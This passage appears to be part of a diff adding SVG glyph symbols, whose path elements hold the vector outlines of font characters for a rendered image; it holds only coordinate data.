+<path style="stroke:none;" d="M 0.734375 -10.265625 L 10.265625 -10.265625 L 10.265625 0 L 0.734375 0 Z M 8.359375 -9.09375 L 5.5 -5.90625 L 2.640625 -9.09375 L 1.90625 -8.359375 L 4.796875 -5.140625 L 1.90625 -1.90625 L 2.640625 -1.171875 L 5.5 -4.359375 L 8.359375 -1.171875 L 9.09375 -1.90625 L 6.1875 -5.140625 L 9.09375 -8.359375 Z M 1.890625 -0.390625 L 2.015625 -0.390625 L 2.015625 -0.578125 L 2.0625 -0.578125 C 2.125 -0.578125 2.175781 -0.585938 2.21875 -0.609375 C 2.269531 -0.628906 2.296875 -0.675781 2.296875 -0.75 C 2.296875 -0.820312 2.269531 -0.867188 2.21875 -0.890625 C 2.164062 -0.910156 2.109375 -0.921875 2.046875 -0.921875 L 1.890625 -0.921875 Z M 2.0625 -0.84375 C 2.144531 -0.84375 2.1875 -0.816406 2.1875 -0.765625 C 2.1875 -0.710938 2.171875 -0.679688 2.140625 -0.671875 C 2.117188 -0.671875 2.085938 -0.671875 2.046875 -0.671875 L 2.015625 -0.671875 L 2.015625 -0.84375 Z M 2.765625 -0.921875 L 2.3125 -0.921875 L 2.3125 -0.84375 L 2.5 -0.84375 L 2.5 -0.390625 L 2.59375 -0.390625 L 2.59375 -0.84375 L 2.765625 -0.84375 Z M 3.25 -0.546875 C 3.25 -0.503906 3.21875 -0.484375 3.15625 -0.484375 C 3.082031 -0.484375 3.035156 -0.492188 3.015625 -0.515625 L 2.984375 -0.40625 C 2.992188 -0.40625 3.015625 -0.398438 3.046875 -0.390625 C 3.078125 -0.378906 3.117188 -0.375 3.171875 -0.375 C 3.304688 -0.375 3.375 -0.4375 3.375 -0.5625 C 3.375 -0.644531 3.328125 -0.691406 3.234375 -0.703125 C 3.148438 -0.710938 3.109375 -0.742188 3.109375 -0.796875 C 3.109375 -0.828125 3.140625 -0.84375 3.203125 -0.84375 C 3.242188 -0.84375 3.285156 -0.832031 3.328125 -0.8125 L 3.359375 -0.90625 C 3.296875 -0.925781 3.242188 -0.9375 3.203125 -0.9375 C 3.066406 -0.9375 3 -0.882812 3 -0.78125 C 3 -0.726562 3.007812 -0.691406 3.03125 -0.671875 C 3.0625 -0.648438 3.09375 -0.628906 3.125 -0.609375 C 3.15625 -0.597656 3.179688 -0.585938 3.203125 -0.578125 C 3.234375 -0.578125 3.25 -0.566406 3.25 -0.546875 Z M 3.484375 -0.6875 C 3.515625 -0.707031 3.554688 -0.71875 3.609375 -0.71875 C 3.660156 -0.71875 3.6875 -0.695312 3.6875 -0.65625 L 3.6875 -0.625 C 3.675781 -0.625 3.664062 -0.625 3.65625 -0.625 C 3.644531 -0.632812 3.628906 -0.640625 3.609375 -0.640625 C 3.492188 -0.640625 3.4375 -0.59375 3.4375 -0.5 C 3.4375 -0.414062 3.472656 -0.375 3.546875 -0.375 C 3.609375 -0.375 3.65625 -0.398438 3.6875 -0.453125 L 3.71875 -0.390625 L 3.796875 -0.390625 C 3.785156 -0.410156 3.78125 -0.445312 3.78125 -0.5 L 3.78125 -0.65625 C 3.78125 -0.757812 3.734375 -0.8125 3.640625 -0.8125 C 3.597656 -0.8125 3.5625 -0.804688 3.53125 -0.796875 C 3.5 -0.785156 3.472656 -0.773438 3.453125 -0.765625 Z M 3.59375 -0.46875 C 3.550781 -0.46875 3.53125 -0.488281 3.53125 -0.53125 C 3.53125 -0.570312 3.554688 -0.59375 3.609375 -0.59375 C 3.628906 -0.59375 3.644531 -0.585938 3.65625 -0.578125 C 3.664062 -0.578125 3.675781 -0.578125 3.6875 -0.578125 L 3.6875 -0.53125 C 3.664062 -0.488281 3.632812 -0.46875 3.59375 -0.46875 Z M 4.28125 -0.390625 L 4.28125 -0.625 C 4.28125 -0.75 4.238281 -0.8125 4.15625 -0.8125 C 4.082031 -0.8125 4.03125 -0.785156 4 -0.734375 L 3.96875 -0.796875 L 3.90625 -0.796875 L 3.90625 -0.390625 L 4 -0.390625 L 4 -0.640625 C 4.019531 -0.679688 4.050781 -0.703125 4.09375 -0.703125 C 4.144531 -0.703125 4.171875 -0.671875 4.171875 -0.609375 L 4.171875 -0.390625 Z M 4.359375 -0.40625 C 4.398438 -0.382812 4.445312 -0.375 4.5 -0.375 C 4.613281 -0.375 4.671875 -0.421875 4.671875 -0.515625 C 4.671875 -0.566406 4.65625 -0.59375 4.625 -0.59375 C 4.601562 -0.601562 4.578125 -0.617188 4.546875 -0.640625 C 4.492188 -0.660156 4.46875 -0.675781 4.46875 -0.6875 C 4.46875 -0.707031 4.484375 -0.71875 4.515625 -0.71875 C 4.554688 -0.71875 4.597656 -0.707031 4.640625 -0.6875 L 4.671875 -0.78125 C 4.628906 -0.800781 4.578125 -0.8125 4.515625 -0.8125 C 4.421875 -0.8125 4.375 -0.765625 4.375 -0.671875 C 4.375 -0.617188 4.382812 -0.585938 4.40625 -0.578125 C 4.4375 -0.566406 4.460938 -0.554688 4.484375 -0.546875 C 4.535156 -0.546875 4.5625 -0.53125 4.5625 -0.5 C 4.5625 -0.476562 4.546875 -0.46875 4.515625 -0.46875 C 4.472656 -0.46875 4.429688 -0.476562 4.390625 -0.5 Z M 4.953125 -0.609375 C 4.953125 -0.410156 5.050781 -0.3125 5.25 -0.3125 C 5.445312 -0.3125 5.546875 -0.410156 5.546875 -0.609375 C 5.546875 -0.804688 5.445312 -0.90625 5.25 -0.90625 C 5.175781 -0.90625 5.109375 -0.878906 5.046875 -0.828125 C 4.984375 -0.773438 4.953125 -0.703125 4.953125 -0.609375 Z M 5.046875 -0.609375 C 5.046875 -0.765625 5.113281 -0.84375 5.25 -0.84375 C 5.382812 -0.84375 5.453125 -0.765625 5.453125 -0.609375 C 5.453125 -0.460938 5.382812 -0.390625 5.25 -0.390625 C 5.113281 -0.390625 5.046875 -0.460938 5.046875 -0.609375 Z M 5.34375 -0.5625 C 5.320312 -0.550781 5.300781 -0.546875 5.28125 -0.546875 C 5.238281 -0.546875 5.21875 -0.566406 5.21875 -0.609375 C 5.21875 -0.648438 5.238281 -0.671875 5.28125 -0.671875 L 5.328125 -0.671875 L 5.359375 -0.734375 C 5.316406 -0.753906 5.28125 -0.765625 5.25 -0.765625 C 5.164062 -0.765625 5.125 -0.710938 5.125 -0.609375 C 5.125 -0.503906 5.164062 -0.453125 5.25 -0.453125 C 5.300781 -0.453125 5.335938 -0.460938 5.359375 -0.484375 Z M 5.859375 -0.390625 L 5.96875 -0.390625 L 5.96875 -0.578125 L 6.03125 -0.578125 C 6.09375 -0.578125 6.144531 -0.585938 6.1875 -0.609375 C 6.238281 -0.628906 6.265625 -0.675781 6.265625 -0.75 C 6.265625 -0.820312 6.238281 -0.867188 6.1875 -0.890625 C 6.132812 -0.910156 6.078125 -0.921875 6.015625 -0.921875 L 5.859375 -0.921875 Z M 6.03125 -0.84375 C 6.101562 -0.84375 6.140625 -0.816406 6.140625 -0.765625 C 6.140625 -0.710938 6.128906 -0.679688 6.109375 -0.671875 C 6.085938 -0.671875 6.054688 -0.671875 6.015625 -0.671875 L 5.96875 -0.671875 L 5.96875 -0.84375 Z M 6.34375 -0.6875 C 6.375 -0.707031 6.414062 -0.71875 6.46875 -0.71875 C 6.519531 -0.71875 6.546875 -0.695312 6.546875 -0.65625 L 6.546875 -0.625 C 6.535156 -0.625 6.523438 -0.625 6.515625 -0.625 C 6.503906 -0.632812 6.488281 -0.640625 6.46875 -0.640625 C 6.34375 -0.640625 6.28125 -0.59375 6.28125 -0.5 C 6.28125 -0.414062 6.320312 -0.375 6.40625 -0.375 C 6.46875 -0.375 6.515625 -0.398438 6.546875 -0.453125 L 6.578125 -0.390625 L 6.65625 -0.390625 C 6.644531 -0.410156 6.640625 -0.445312 6.640625 -0.5 L 6.640625 -0.65625 C 6.640625 -0.757812 6.59375 -0.8125 6.5 -0.8125 C 6.457031 -0.8125 6.421875 -0.804688 6.390625 -0.796875 C 6.359375 -0.785156 6.332031 -0.773438 6.3125 -0.765625 Z M 6.453125 -0.46875 C 6.410156 -0.46875 6.390625 -0.488281 6.390625 -0.53125 C 6.390625 -0.570312 6.414062 -0.59375 6.46875 -0.59375 C 6.488281 -0.59375 6.503906 -0.585938 6.515625 -0.578125 C 6.523438 -0.578125 6.535156 -0.578125 6.546875 -0.578125 L 6.546875 -0.53125 C 6.523438 -0.488281 6.492188 -0.46875 6.453125 -0.46875 Z M 7.015625 -0.796875 C 7.003906 -0.804688 6.984375 -0.8125 6.953125 -0.8125 C 6.910156 -0.8125 6.878906 -0.785156 6.859375 -0.734375 L 6.84375 -0.796875 L 6.75 -0.796875 L 6.75 -0.390625 L 6.859375 -0.390625 L 6.859375 -0.640625 C 6.859375 -0.679688 6.890625 -0.703125 6.953125 -0.703125 L 6.96875 -0.703125 C 6.976562 -0.703125 6.984375 -0.695312 6.984375 -0.6875 C 6.984375 -0.6875 6.988281 -0.6875 7 -0.6875 Z M 7.09375 -0.6875 C 7.144531 -0.707031 7.1875 -0.71875 7.21875 -0.71875 C 7.269531 -0.71875 7.296875 -0.695312 7.296875 -0.65625 L 7.296875 -0.625 C 7.285156 -0.625 7.273438 -0.625 7.265625 -0.625 C 7.253906 -0.632812 7.238281 -0.640625 7.21875 -0.640625 C 7.09375 -0.640625 7.03125 -0.59375 7.03125 -0.5 C 7.03125 -0.414062 7.070312 -0.375 7.15625 -0.375 C 7.226562 -0.375 7.273438 -0.398438 7.296875 -0.453125 L 7.3125 -0.453125 L 7.328125 -0.390625 L 7.40625 -0.390625 C 7.394531 -0.410156 7.390625 -0.445312 7.390625 -0.5 L 7.390625 -0.65625 C 7.390625 -0.757812 7.34375 -0.8125 7.25 -0.8125 C 7.207031 -0.8125 7.171875 -0.804688 7.140625 -0.796875 C 7.109375 -0.785156 7.085938 -0.773438 7.078125 -0.765625 Z M 7.203125 -0.46875 C 7.160156 -0.46875 7.140625 -0.488281 7.140625 -0.53125 C 7.140625 -0.570312 7.164062 -0.59375 7.21875 -0.59375 C 7.238281 -0.59375 7.253906 -0.585938 7.265625 -0.578125 C 7.273438 -0.578125 7.285156 -0.578125 7.296875 -0.578125 L 7.296875 -0.53125 C 7.273438 -0.488281 7.242188 -0.46875 7.203125 -0.46875 Z M 7.8125 -0.921875 L 7.359375 -0.921875 L 7.359375 -0.84375 L 7.53125 -0.84375 L 7.53125 -0.390625 L 7.640625 -0.390625 L 7.640625 -0.84375 L 7.8125 -0.84375 Z M 7.9375 -0.796875 L 7.8125 -0.796875 L 8 -0.390625 C 7.988281 -0.347656 7.960938 -0.328125 7.921875 -0.328125 L 7.90625 -0.34375 L 7.875 -0.25 C 7.894531 -0.238281 7.921875 -0.234375 7.953125 -0.234375 C 8.003906 -0.234375 8.050781 -0.296875 8.09375 -0.421875 L 8.25 -0.796875 L 8.125 -0.796875 L 8.0625 -0.578125 L 8.0625 -0.5 L 8.046875 -0.5 L 8.03125 -0.578125 Z M 8.296875 -0.234375 L 8.40625 -0.234375 L 8.40625 -0.40625 C 8.414062 -0.382812 8.441406 -0.375 8.484375 -0.375 C 8.617188 -0.375 8.6875 -0.445312 8.6875 -0.59375 C 8.6875 -0.738281 8.632812 -0.8125 8.53125 -0.8125 C 8.476562 -0.8125 8.429688 -0.789062 8.390625 -0.75 L 8.375 -0.75 L 8.359375 -0.796875 L 8.296875 -0.796875 Z M 8.5 -0.71875 C 8.539062 -0.71875 8.5625 -0.675781 8.5625 -0.59375 C 8.5625 -0.507812 8.53125 -0.46875 8.46875 -0.46875 C 8.445312 -0.46875 8.425781 -0.476562 8.40625 -0.5 L 8.40625 -0.640625 C 8.40625 -0.691406 8.4375 -0.71875 8.5 -0.71875 Z M 9.0625 -0.5 C 9.039062 -0.476562 9.007812 -0.46875 8.96875 -0.46875 C 8.894531 -0.46875 8.851562 -0.5 8.84375 -0.5625 L 9.125 -0.5625 L 9.125 -0.640625 C 9.125 -0.703125 9.101562 -0.742188 9.0625 -0.765625 C 9.03125 -0.796875 8.992188 -0.8125 8.953125 -0.8125 C 8.816406 -0.8125 8.75 -0.738281 8.75 -0.59375 C 8.75 -0.445312 8.816406 -0.375 8.953125 -0.375 C 8.984375 -0.375 9.007812 -0.378906 9.03125 -0.390625 C 9.0625 -0.398438 9.085938 -0.410156 9.109375 -0.421875 Z M 8.953125 -0.71875 C 9.003906 -0.71875 9.023438 -0.6875 9.015625 -0.625 L 8.859375 -0.625 C 8.859375 -0.6875 8.890625 -0.71875 8.953125 -0.71875 Z M 8.953125 -0.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 1.046875 -7.328125 L 2.09375 -7.328125 L 2.09375 0 L 1.046875 0 Z M 0.84375 -9.5625 C 0.84375 -9.800781 0.910156 -9.992188 1.046875 -10.140625 C 1.179688 -10.285156 1.351562 -10.359375 1.5625 -10.359375 C 1.78125 -10.359375 1.957031 -10.285156 2.09375 -10.140625 C 2.238281 -10.003906 2.3125 -9.8125 2.3125 -9.5625 C 2.3125 -9.332031 2.238281 -9.148438 2.09375 -9.015625 C 1.957031 -8.878906 1.78125 -8.8125 1.5625 -8.8125 C 1.351562 -8.8125 1.179688 -8.878906 1.046875 -9.015625 C 0.910156 -9.160156 0.84375 -9.34375 0.84375 -9.5625 Z M 0.84375 -9.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 5.484375 -2.53125 C 5.484375 -2.03125 5.488281 -1.578125 5.5 -1.171875 C 5.507812 -0.765625 5.546875 -0.363281 5.609375 0.03125 L 4.890625 0.03125 L 4.65625 -0.84375 L 4.59375 -0.84375 C 4.457031 -0.550781 4.238281 -0.304688 3.9375 -0.109375 C 3.644531 0.078125 3.296875 0.171875 2.890625 0.171875 C 2.097656 0.171875 1.507812 -0.132812 1.125 -0.75 C 0.738281 -1.363281 0.546875 -2.332031 0.546875 -3.65625 C 0.546875 -4.90625 0.78125 -5.851562 1.25 -6.5 C 1.726562 -7.144531 2.382812 -7.46875 3.21875 -7.46875 C 3.5 -7.46875 3.722656 -7.445312 3.890625 -7.40625 C 4.054688 -7.375 4.238281 -7.320312 4.4375 -7.25 L 4.4375 -10.265625 L 5.484375 -10.265625 Z M 4.4375 -6.171875 C 4.289062 -6.296875 4.132812 -6.382812 3.96875 -6.4375 C 3.800781 -6.488281 3.570312 -6.515625 3.28125 -6.515625 C 2.769531 -6.515625 2.367188 -6.28125 2.078125 -5.8125 C 1.785156 -5.34375 1.640625 -4.617188 1.640625 -3.640625 C 1.640625 -3.210938 1.664062 -2.820312 1.71875 -2.46875 C 1.769531 -2.125 1.851562 -1.820312 1.96875 -1.5625 C 2.082031 -1.3125 2.226562 -1.117188 2.40625 -0.984375 C 2.59375 -0.847656 2.816406 -0.78125 3.078125 -0.78125 C 3.785156 -0.78125 4.238281 -1.195312 4.4375 -2.03125 Z M 4.4375 -6.171875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.46875 C 4.625 -5.207031 4.535156 -5.738281 4.359375 -6.0625 C 4.191406 -6.394531 3.890625 -6.5625 3.453125 -6.5625 C 3.054688 -6.5625 2.726562 -6.441406 2.46875 -6.203125 C 2.21875 -5.972656 2.035156 -5.6875 1.921875 -5.34375 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.625 -7.328125 L 1.8125 -6.5625 L 1.859375 -6.5625 C 2.046875 -6.820312 2.296875 -7.046875 2.609375 -7.234375 C 2.929688 -7.421875 3.3125 -7.515625 3.75 -7.515625 C 4.0625 -7.515625 4.335938 -7.46875 4.578125 -7.375 C 4.816406 -7.289062 5.015625 -7.140625 5.171875 -6.921875 C 5.335938 -6.710938 5.460938 -6.429688 5.546875 -6.078125 C 5.628906 -5.734375 5.671875 -5.289062 5.671875 -4.75 L 5.671875 0 Z M 4.625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 0.796875 -6.890625 C 1.078125 -7.066406 1.421875 -7.203125 1.828125 -7.296875 C 2.234375 -7.398438 2.660156 -7.453125 3.109375 -7.453125 C 3.523438 -7.453125 3.851562 -7.390625 4.09375 -7.265625 C 4.34375 -7.148438 4.539062 -6.984375 4.6875 -6.765625 C 4.832031 -6.554688 4.925781 -6.316406 4.96875 -6.046875 C 5.007812 -5.785156 5.03125 -5.503906 5.03125 -5.203125 C 5.03125 -4.617188 5.015625 -4.046875 4.984375 -3.484375 C 4.960938 -2.929688 4.953125 -2.40625 4.953125 -1.90625 C 4.953125 -1.53125 4.960938 -1.179688 4.984375 -0.859375 C 5.015625 -0.546875 5.066406 -0.25 5.140625 0.03125 L 4.328125 0.03125 L 4.078125 -0.84375 L 4.015625 -0.84375 C 3.867188 -0.582031 3.65625 -0.359375 3.375 -0.171875 C 3.09375 0.015625 2.710938 0.109375 2.234375 0.109375 C 1.703125 0.109375 1.265625 -0.0703125 0.921875 -0.4375 C 0.585938 -0.8125 0.421875 -1.320312 0.421875 -1.96875 C 0.421875 -2.382812 0.488281 -2.734375 0.625 -3.015625 C 0.769531 -3.304688 0.972656 -3.535156 1.234375 -3.703125 C 1.492188 -3.878906 1.800781 -4.003906 2.15625 -4.078125 C 2.519531 -4.160156 2.921875 -4.203125 3.359375 -4.203125 C 3.453125 -4.203125 3.546875 -4.203125 3.640625 -4.203125 C 3.742188 -4.203125 3.851562 -4.195312 3.96875 -4.1875 C 3.988281 -4.488281 4 -4.753906 4 -4.984375 C 4 -5.546875 3.914062 -5.9375 3.75 -6.15625 C 3.582031 -6.382812 3.28125 -6.5 2.84375 -6.5 C 2.570312 -6.5 2.273438 -6.457031 1.953125 -6.375 C 1.628906 -6.289062 1.359375 -6.1875 1.140625 -6.0625 Z M 3.96875 -3.34375 C 3.875 -3.351562 3.773438 -3.359375 3.671875 -3.359375 C 3.578125 -3.367188 3.484375 -3.375 3.390625 -3.375 C 3.148438 -3.375 2.914062 -3.351562 2.6875 -3.3125 C 2.46875 -3.269531 2.269531 -3.203125 2.09375 -3.109375 C 1.914062 -3.015625 1.773438 -2.882812 1.671875 -2.71875 C 1.578125 -2.550781 1.53125 -2.335938 1.53125 -2.078125 C 1.53125 -1.691406 1.625 -1.390625 1.8125 -1.171875 C 2 -0.953125 2.242188 -0.84375 2.546875 -0.84375 C 2.960938 -0.84375 3.28125 -0.941406 3.5 -1.140625 C 3.726562 -1.335938 3.882812 -1.554688 3.96875 -1.796875 Z M 3.96875 -3.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 4.296875 0 L 4.296875 -4.359375 C 4.296875 -4.742188 4.28125 -5.078125 4.25 -5.359375 C 4.226562 -5.640625 4.175781 -5.867188 4.09375 -6.046875 C 4.019531 -6.222656 3.914062 -6.351562 3.78125 -6.4375 C 3.644531 -6.519531 3.46875 -6.5625 3.25 -6.5625 C 2.914062 -6.5625 2.628906 -6.429688 2.390625 -6.171875 C 2.160156 -5.910156 2.003906 -5.613281 1.921875 -5.28125 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 2.050781 -6.84375 2.296875 -7.070312 2.578125 -7.25 C 2.859375 -7.425781 3.222656 -7.515625 3.671875 -7.515625 C 4.035156 -7.515625 4.335938 -7.429688 4.578125 -7.265625 C 4.816406 -7.109375 5.007812 -6.820312 5.15625 -6.40625 C 5.320312 -6.75 5.566406 -7.019531 5.890625 -7.21875 C 6.222656 -7.414062 6.585938 -7.515625 6.984375 -7.515625 C 7.304688 -7.515625 7.582031 -7.472656 7.8125 -7.390625 C 8.039062 -7.304688 8.222656 -7.15625 8.359375 -6.9375 C 8.503906 -6.726562 8.609375 -6.453125 8.671875 -6.109375 C 8.742188 -5.765625 8.78125 -5.328125 8.78125 -4.796875 L 8.78125 0 L 7.734375 0 L 7.734375 -4.671875 C 7.734375 -5.304688 7.671875 -5.78125 7.546875 -6.09375 C 7.421875 -6.40625 7.140625 -6.5625 6.703125 -6.5625 C 6.328125 -6.5625 6.03125 -6.445312 5.8125 -6.21875 C 5.59375 -5.988281 5.441406 -5.675781 5.359375 -5.28125 L 5.359375 0 Z M 4.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 5.25 -0.5 C 5.019531 -0.28125 4.722656 -0.113281 4.359375 0 C 3.992188 0.113281 3.613281 0.171875 3.21875 0.171875 C 2.757812 0.171875 2.359375 0.0820312 2.015625 -0.09375 C 1.679688 -0.269531 1.398438 -0.523438 1.171875 -0.859375 C 0.953125 -1.203125 0.789062 -1.609375 0.6875 -2.078125 C 0.59375 -2.546875 0.546875 -3.078125 0.546875 -3.671875 C 0.546875 -4.921875 0.773438 -5.875 1.234375 -6.53125 C 1.691406 -7.1875 2.34375 -7.515625 3.1875 -7.515625 C 3.457031 -7.515625 3.726562 -7.476562 4 -7.40625 C 4.269531 -7.34375 4.507812 -7.207031 4.71875 -7 C 4.9375 -6.789062 5.109375 -6.5 5.234375 -6.125 C 5.367188 -5.757812 5.4375 -5.28125 5.4375 -4.6875 C 5.4375 -4.519531 5.429688 -4.335938 5.421875 -4.140625 C 5.410156 -3.953125 5.394531 -3.753906 5.375 -3.546875 L 1.640625 -3.546875 C 1.640625 -3.128906 1.671875 -2.75 1.734375 -2.40625 C 1.804688 -2.0625 1.914062 -1.769531 2.0625 -1.53125 C 2.207031 -1.289062 2.394531 -1.101562 2.625 -0.96875 C 2.863281 -0.84375 3.148438 -0.78125 3.484375 -0.78125 C 3.753906 -0.78125 4.019531 -0.828125 4.28125 -0.921875 C 4.539062 -1.023438 4.738281 -1.144531 4.875 -1.28125 Z M 4.4375 -4.4375 C 4.445312 -5.164062 4.335938 -5.703125 4.109375 -6.046875 C 3.890625 -6.390625 3.585938 -6.5625 3.203125 -6.5625 C 2.753906 -6.5625 2.394531 -6.390625 2.125 -6.046875 C 1.863281 -5.703125 1.707031 -5.164062 1.65625 -4.4375 Z M 4.4375 -4.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.78125 -6.546875 L 1.828125 -6.546875 C 2.191406 -7.191406 2.757812 -7.515625 3.53125 -7.515625 C 4.300781 -7.515625 4.878906 -7.222656 5.265625 -6.640625 C 5.660156 -6.066406 5.859375 -5.125 5.859375 -3.8125 C 5.859375 -3.195312 5.789062 -2.640625 5.65625 -2.140625 C 5.53125 -1.648438 5.347656 -1.226562 5.109375 -0.875 C 4.878906 -0.53125 4.59375 -0.269531 4.25 -0.09375 C 3.914062 0.0820312 3.546875 0.171875 3.140625 0.171875 C 2.859375 0.171875 2.632812 0.15625 2.46875 0.125 C 2.300781 0.09375 2.117188 0.0195312 1.921875 -0.09375 L 1.921875 2.9375 L 0.859375 2.9375 Z M 1.921875 -1.15625 C 2.054688 -1.039062 2.207031 -0.945312 2.375 -0.875 C 2.550781 -0.8125 2.78125 -0.78125 3.0625 -0.78125 C 3.582031 -0.78125 3.992188 -1.039062 4.296875 -1.5625 C 4.597656 -2.09375 4.75 -2.847656 4.75 -3.828125 C 4.75 -4.242188 4.722656 -4.613281 4.671875 -4.9375 C 4.617188 -5.269531 4.53125 -5.554688 4.40625 -5.796875 C 4.289062 -6.035156 4.144531 -6.222656 3.96875 -6.359375 C 3.789062 -6.492188 3.566406 -6.5625 3.296875 -6.5625 C 2.585938 -6.5625 2.128906 -6.125 1.921875 -5.25 Z M 1.921875 -1.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 1.976562 -6.84375 2.15625 -7.0625 2.375 -7.21875 C 2.601562 -7.382812 2.875 -7.46875 3.1875 -7.46875 C 3.40625 -7.46875 3.660156 -7.421875 3.953125 -7.328125 L 3.734375 -6.265625 C 3.484375 -6.347656 3.257812 -6.390625 3.0625 -6.390625 C 2.75 -6.390625 2.492188 -6.300781 2.296875 -6.125 C 2.109375 -5.945312 1.984375 -5.707031 1.921875 -5.40625 L 1.921875 0 L 0.859375 0 Z M 0.859375 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 4.921875 -0.359375 C 4.671875 -0.179688 4.390625 -0.0507812 4.078125 0.03125 C 3.765625 0.125 3.4375 0.171875 3.09375 0.171875 C 2.625 0.171875 2.226562 0.0820312 1.90625 -0.09375 C 1.582031 -0.269531 1.320312 -0.523438 1.125 -0.859375 C 0.925781 -1.203125 0.78125 -1.609375 0.6875 -2.078125 C 0.59375 -2.554688 0.546875 -3.085938 0.546875 -3.671875 C 0.546875 -4.921875 0.765625 -5.875 1.203125 -6.53125 C 1.648438 -7.1875 2.289062 -7.515625 3.125 -7.515625 C 3.507812 -7.515625 3.835938 -7.476562 4.109375 -7.40625 C 4.378906 -7.34375 4.613281 -7.253906 4.8125 -7.140625 L 4.515625 -6.21875 C 4.128906 -6.445312 3.707031 -6.5625 3.25 -6.5625 C 2.71875 -6.5625 2.316406 -6.328125 2.046875 -5.859375 C 1.773438 -5.398438 1.640625 -4.671875 1.640625 -3.671875 C 1.640625 -3.265625 1.664062 -2.882812 1.71875 -2.53125 C 1.78125 -2.1875 1.878906 -1.882812 2.015625 -1.625 C 2.160156 -1.363281 2.335938 -1.15625 2.546875 -1 C 2.765625 -0.851562 3.035156 -0.78125 3.359375 -0.78125 C 3.609375 -0.78125 3.84375 -0.820312 4.0625 -0.90625 C 4.289062 -1 4.472656 -1.101562 4.609375 -1.21875 Z M 4.921875 -0.359375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 0.75 -1.203125 C 0.945312 -1.085938 1.175781 -0.988281 1.4375 -0.90625 C 1.707031 -0.820312 1.988281 -0.78125 2.28125 -0.78125 C 2.601562 -0.78125 2.875 -0.859375 3.09375 -1.015625 C 3.320312 -1.179688 3.4375 -1.441406 3.4375 -1.796875 C 3.4375 -2.109375 3.363281 -2.359375 3.21875 -2.546875 C 3.082031 -2.742188 2.910156 -2.921875 2.703125 -3.078125 C 2.492188 -3.234375 2.265625 -3.378906 2.015625 -3.515625 C 1.773438 -3.648438 1.550781 -3.804688 1.34375 -3.984375 C 1.132812 -4.171875 0.957031 -4.390625 0.8125 -4.640625 C 0.675781 -4.898438 0.609375 -5.226562 0.609375 -5.625 C 0.609375 -6.25 0.773438 -6.71875 1.109375 -7.03125 C 1.453125 -7.351562 1.929688 -7.515625 2.546875 -7.515625 C 2.953125 -7.515625 3.300781 -7.476562 3.59375 -7.40625 C 3.882812 -7.332031 4.140625 -7.226562 4.359375 -7.09375 L 4.078125 -6.21875 C 3.890625 -6.320312 3.671875 -6.40625 3.421875 -6.46875 C 3.179688 -6.53125 2.9375 -6.5625 2.6875 -6.5625 C 2.332031 -6.5625 2.070312 -6.488281 1.90625 -6.34375 C 1.75 -6.195312 1.671875 -5.96875 1.671875 -5.65625 C 1.671875 -5.40625 1.738281 -5.191406 1.875 -5.015625 C 2.007812 -4.847656 2.179688 -4.691406 2.390625 -4.546875 C 2.609375 -4.410156 2.835938 -4.269531 3.078125 -4.125 C 3.328125 -3.976562 3.554688 -3.800781 3.765625 -3.59375 C 3.972656 -3.394531 4.144531 -3.15625 4.28125 -2.875 C 4.414062 -2.601562 4.484375 -2.253906 4.484375 -1.828125 C 4.484375 -1.554688 4.4375 -1.296875 4.34375 -1.046875 C 4.257812 -0.804688 4.128906 -0.59375 3.953125 -0.40625 C 3.773438 -0.226562 3.550781 -0.0859375 3.28125 0.015625 C 3.007812 0.117188 2.691406 0.171875 2.328125 0.171875 C 1.898438 0.171875 1.53125 0.128906 1.21875 0.046875 C 0.90625 -0.0351562 0.640625 -0.144531 0.421875 -0.28125 Z M 0.75 -1.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 0.125 -7.328125 L 1.03125 -7.328125 L 1.03125 -8.78125 L 2.078125 -9.125 L 2.078125 -7.328125 L 3.671875 -7.328125 L 3.671875 -6.375 L 2.078125 -6.375 L 2.078125 -2.015625 C 2.078125 -1.578125 2.128906 -1.265625 2.234375 -1.078125 C 2.335938 -0.890625 2.507812 -0.796875 2.75 -0.796875 C 2.9375 -0.796875 3.101562 -0.816406 3.25 -0.859375 C 3.394531 -0.898438 3.550781 -0.957031 3.71875 -1.03125 L 3.921875 -0.1875 C 3.703125 -0.0820312 3.460938 0 3.203125 0.0625 C 2.941406 0.125 2.671875 0.15625 2.390625 0.15625 C 1.898438 0.15625 1.550781 0 1.34375 -0.3125 C 1.132812 -0.632812 1.03125 -1.148438 1.03125 -1.859375 L 1.03125 -6.375 L 0.125 -6.375 Z M 0.125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
